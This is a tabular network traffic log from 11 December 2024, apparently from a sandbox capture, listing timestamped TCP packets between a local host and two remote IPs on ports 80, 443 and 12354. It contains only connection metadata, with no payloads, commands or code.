Dec 11, 2024 16:26:09.556386948 CET	50331	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:09.556406021 CET	443	50331	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:09.556718111 CET	443	50331	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:09.556767941 CET	50331	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:09.557207108 CET	50331	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:09.599332094 CET	443	50331	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:10.037060022 CET	50337	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:10.037085056 CET	50331	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:10.037117004 CET	50340	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:10.040644884 CET	50371	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:10.160135984 CET	12354	50371	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:10.160234928 CET	50371	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:10.160414934 CET	50371	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:10.173451900 CET	50374	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:10.175364971 CET	50303	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:10.175786018 CET	50375	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:10.280658007 CET	12354	50371	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:10.293215036 CET	12354	50374	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:10.293426991 CET	50374	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:10.293656111 CET	50374	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:10.295293093 CET	80	50303	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:10.295346975 CET	80	50375	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:10.295372963 CET	50303	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:10.295419931 CET	50375	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:10.295696020 CET	50375	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:10.412992001 CET	12354	50374	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:10.415235996 CET	80	50375	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:11.864341974 CET	80	50375	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:11.864685059 CET	50375	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:11.870549917 CET	50404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:11.870580912 CET	443	50404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:11.870686054 CET	50404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:11.871184111 CET	50404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:11.871193886 CET	443	50404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:12.280858994 CET	12354	50371	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:12.280935049 CET	50371	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.281950951 CET	50371	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.282785892 CET	50412	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.401257038 CET	12354	50371	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:12.402061939 CET	12354	50412	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:12.402174950 CET	50412	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.402540922 CET	50412	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.407680035 CET	12354	50374	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:12.407891035 CET	50374	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.408201933 CET	50374	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.408632994 CET	50415	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.521943092 CET	12354	50412	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:12.527601004 CET	12354	50374	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:12.528577089 CET	12354	50415	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:12.528742075 CET	50415	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.528937101 CET	50415	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:12.648407936 CET	12354	50415	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:13.561599970 CET	443	50404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:13.561696053 CET	50404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:13.562520027 CET	50404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:13.562526941 CET	443	50404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:13.564229012 CET	50404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:13.564234972 CET	443	50404	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:14.163049936 CET	50412	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:14.163084030 CET	50415	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:14.163131952 CET	50404	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:14.164428949 CET	50447	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:14.283885002 CET	12354	50447	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:14.283962965 CET	50447	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:14.284308910 CET	50447	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:14.312009096 CET	50375	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:14.312335014 CET	50451	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:14.314523935 CET	50452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:14.406562090 CET	12354	50447	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:14.432176113 CET	80	50375	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:14.432189941 CET	80	50451	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:14.432272911 CET	50375	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:14.432317019 CET	50451	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:14.434808969 CET	12354	50452	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:14.436611891 CET	50452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:14.455930948 CET	50452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:14.456115007 CET	50451	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:14.575510025 CET	12354	50452	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:14.575567961 CET	80	50451	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:15.999746084 CET	80	50451	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:15.999861002 CET	50451	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:16.003336906 CET	50489	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:16.003382921 CET	443	50489	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:16.004065990 CET	50489	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:16.004065990 CET	50489	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:16.004103899 CET	443	50489	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:16.394898891 CET	12354	50447	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:16.394994974 CET	50447	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.395426989 CET	50447	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.395813942 CET	50497	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.515372038 CET	12354	50447	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:16.515749931 CET	12354	50497	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:16.515856981 CET	50497	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.533915043 CET	50497	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.548907995 CET	12354	50452	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:16.552593946 CET	50452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.552795887 CET	50452	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.553498030 CET	50502	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.653198004 CET	12354	50497	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:16.673109055 CET	12354	50452	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:16.673717022 CET	12354	50502	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:16.673911095 CET	50502	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.674336910 CET	50502	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:16.794589996 CET	12354	50502	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:17.680490017 CET	443	50489	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:17.680547953 CET	50489	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:17.687524080 CET	50489	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:17.687532902 CET	443	50489	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:17.689332962 CET	50489	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:17.689340115 CET	443	50489	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:18.297820091 CET	50497	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:18.297983885 CET	50489	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:18.297983885 CET	50502	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:18.298916101 CET	50536	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:18.419464111 CET	12354	50536	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:18.419636965 CET	50536	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:18.422511101 CET	50539	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:18.422631025 CET	50536	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:18.423270941 CET	50451	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:18.428494930 CET	50540	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:18.543500900 CET	12354	50539	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:18.543664932 CET	50539	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:18.543778896 CET	12354	50536	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:18.543915033 CET	50539	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:18.545103073 CET	80	50451	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:18.545165062 CET	50451	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:18.549859047 CET	80	50540	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:18.549994946 CET	50540	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:18.551333904 CET	50540	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:18.664432049 CET	12354	50539	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:18.672533035 CET	80	50540	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:20.118313074 CET	80	50540	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:20.118380070 CET	50540	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:20.125849962 CET	50580	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:20.125890017 CET	443	50580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:20.126060009 CET	50580	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:20.126647949 CET	50580	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:20.126662970 CET	443	50580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:20.532847881 CET	12354	50536	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:20.534610987 CET	50536	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.534701109 CET	50536	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.535069942 CET	50590	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.654118061 CET	12354	50536	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:20.654602051 CET	12354	50590	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:20.654700994 CET	50590	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.655412912 CET	50590	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.673521042 CET	12354	50539	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:20.673579931 CET	50539	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.673655033 CET	50539	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.674073935 CET	50594	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.775007963 CET	12354	50590	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:20.795032024 CET	12354	50539	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:20.795341969 CET	12354	50594	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:20.795464993 CET	50594	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.795660973 CET	50594	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:20.921397924 CET	12354	50594	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:21.829416037 CET	443	50580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:21.829529047 CET	50580	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:21.830219030 CET	50580	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:21.830228090 CET	443	50580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:21.831924915 CET	50580	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:21.831935883 CET	443	50580	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:22.287858009 CET	50590	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:22.287905931 CET	50580	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:22.287950993 CET	50594	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:22.289932013 CET	50640	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:22.411334038 CET	12354	50640	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:22.411452055 CET	50640	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:22.411628962 CET	50640	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:22.443542004 CET	50540	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:22.445590019 CET	50644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:22.448501110 CET	50645	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:22.531136036 CET	12354	50640	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:22.564533949 CET	80	50540	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:22.566226959 CET	12354	50644	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:22.566375017 CET	50540	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:22.566709995 CET	50644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:22.566709995 CET	50644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:22.567815065 CET	80	50645	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:22.568159103 CET	50645	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:22.568665028 CET	50645	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:22.686441898 CET	12354	50644	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:22.688111067 CET	80	50645	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:24.129578114 CET	80	50645	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:24.129822016 CET	50645	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:24.136962891 CET	50696	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:24.137010098 CET	443	50696	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:24.137307882 CET	50696	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:24.138408899 CET	50696	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:24.138420105 CET	443	50696	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:24.533195972 CET	12354	50640	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:24.533283949 CET	50640	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.533570051 CET	50640	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.534300089 CET	50708	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.653444052 CET	12354	50640	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:24.653893948 CET	12354	50708	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:24.654028893 CET	50708	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.654288054 CET	50708	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.674165010 CET	12354	50644	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:24.676569939 CET	50644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.676753998 CET	50644	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.677211046 CET	50714	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.774338961 CET	12354	50708	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:24.796344995 CET	12354	50644	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:24.796426058 CET	12354	50714	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:24.796717882 CET	50714	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.796717882 CET	50714	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:24.916471958 CET	12354	50714	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:25.834589958 CET	443	50696	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:25.834714890 CET	50696	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:25.835244894 CET	50696	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:25.835261106 CET	443	50696	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:25.837095022 CET	50696	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:25.837100029 CET	443	50696	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:26.412522078 CET	50696	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:26.412549973 CET	50714	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:26.412616968 CET	50708	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:26.414197922 CET	50772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:26.533796072 CET	12354	50772	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:26.533970118 CET	50772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:26.543872118 CET	50772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:26.572489977 CET	50776	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:26.573600054 CET	50645	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:26.573848963 CET	50778	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:26.663300991 CET	12354	50772	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:26.691819906 CET	12354	50776	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:26.691973925 CET	50776	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:26.692142010 CET	50776	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:26.693320036 CET	80	50645	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:26.693381071 CET	80	50778	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:26.693393946 CET	50645	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:26.693461895 CET	50778	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:26.696835995 CET	50778	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:26.811563969 CET	12354	50776	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:26.816200972 CET	80	50778	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:28.265237093 CET	80	50778	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:28.265397072 CET	50778	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:28.268186092 CET	50828	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:28.268228054 CET	443	50828	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:28.268524885 CET	50828	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:28.268857002 CET	50828	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:28.268868923 CET	443	50828	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:28.644501925 CET	12354	50772	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:28.644612074 CET	50772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:28.644727945 CET	50772	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:28.645139933 CET	50841	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:28.764552116 CET	12354	50772	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:28.764569998 CET	12354	50841	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:28.764887094 CET	50841	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:28.765093088 CET	50841	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:28.814582109 CET	12354	50776	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:28.814707994 CET	50776	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:28.814832926 CET	50776	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:28.815180063 CET	50851	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:28.884500980 CET	12354	50841	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:28.934941053 CET	12354	50776	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:28.935362101 CET	12354	50851	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:28.935441017 CET	50851	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:28.938195944 CET	50851	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:29.058932066 CET	12354	50851	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:29.958386898 CET	443	50828	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:29.960570097 CET	50828	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:29.961389065 CET	50828	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:29.961395979 CET	443	50828	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:29.966593027 CET	50828	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:29.966598988 CET	443	50828	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:30.553081036 CET	50851	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:30.553174973 CET	50828	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:30.553282976 CET	50841	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:30.554908037 CET	50945	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:30.724982977 CET	50778	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:30.725276947 CET	50951	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:30.726710081 CET	50952	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:30.802268982 CET	12354	50945	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:30.802351952 CET	50945	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:30.802680016 CET	50945	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:30.844777107 CET	80	50951	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:30.844805956 CET	80	50778	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:30.844968081 CET	50778	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:30.845254898 CET	50951	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:30.845254898 CET	50951	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:30.852117062 CET	12354	50952	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:30.852243900 CET	50952	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:30.852375984 CET	50952	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:30.922139883 CET	12354	50945	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:30.964703083 CET	80	50951	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:30.971724033 CET	12354	50952	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:32.421551943 CET	80	50951	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:32.421606064 CET	50951	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:32.424829006 CET	51040	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:32.424866915 CET	443	51040	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:32.424976110 CET	51040	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:32.425631046 CET	51040	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:32.425638914 CET	443	51040	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:32.908633947 CET	12354	50945	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:32.912591934 CET	50945	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:32.912650108 CET	50945	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:32.913012028 CET	51063	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:32.970983982 CET	12354	50952	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:32.972579002 CET	50952	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:32.972630024 CET	50952	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:33.025005102 CET	51069	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:33.032301903 CET	12354	50945	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:33.034001112 CET	12354	51063	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:33.036526918 CET	51063	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:33.036681890 CET	51063	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:33.092308044 CET	12354	50952	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:33.147413969 CET	12354	51069	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:33.148588896 CET	51069	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:33.156199932 CET	12354	51063	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:33.177968979 CET	51069	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:33.297631979 CET	12354	51069	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:34.124541044 CET	443	51040	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:34.124702930 CET	51040	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:34.127120018 CET	51040	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:34.127144098 CET	443	51040	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:34.128602028 CET	51040	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:34.128612995 CET	443	51040	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:34.553539991 CET	51040	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:34.553613901 CET	51063	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:34.553826094 CET	51069	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:34.555835009 CET	51154	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:34.676286936 CET	12354	51154	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:34.676367998 CET	51154	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:34.676673889 CET	51154	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:34.711999893 CET	51166	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:34.713057995 CET	50951	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:34.715537071 CET	51168	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:34.796238899 CET	12354	51154	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:34.831592083 CET	12354	51166	107.163.241.232	192.168.2.5
Dec 11, 2024 16:26:34.832540035 CET	51166	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:34.832730055 CET	51166	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:26:34.832942009 CET	80	50951	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:34.833825111 CET	50951	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:26:34.835138083 CET	80	51168	202.108.0.52	192.168.2.5
Dec 11, 2024 16:26:34.835336924 CET	51168	80	192.168.2.5	202.108.0.52
